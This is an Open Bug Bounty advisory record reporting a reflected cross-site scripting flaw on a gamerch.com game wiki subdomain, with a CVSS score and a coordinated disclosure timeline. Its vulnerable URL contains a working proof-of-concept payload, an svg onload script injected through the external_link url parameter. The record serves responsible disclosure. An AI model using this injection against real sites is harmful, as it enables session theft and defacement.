絶対防衛レヴィアタン.gamerch.com XSS vulnerability

2018-07-10T20:10:00
ID OBB:644425
Type openbugbounty
Reporter stfn
Modified 2018-10-08T20:10:00

Description

Open Bug Bounty ID: OBB-644425

Description| Value
---|---
Affected Website:| 絶対防衛レヴィアタン.gamerch.com
Open Bug Bounty Program:| Create your bounty program now. It's open and free.
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Disclosure Standard:| Coordinated Disclosure based on ISO 29147 guidelines
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://絶対防衛レヴィアタン.gamerch.com/gamerch/external_link/?url=%3Csvg%20onload=alert(%27OPENBUGBOUNTY%27)%3E
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 10 July, 2018 20:10 GMT
Vulnerability Verified:| 10 July, 2018 20:25 GMT
Website Operator Notified:| 10 July, 2018 20:25 GMT
Public Report Published[without any technical details]:| 10 July, 2018 20:25 GMT
Public Disclosure: A security researcher can delete the report before public disclosure, afterwards the report cannot be deleted or modified anymore. The researcher can also postpone public disclosure date as long as reasonably required to remediate the vulnerability.| 8 October, 2018 20:10 GMT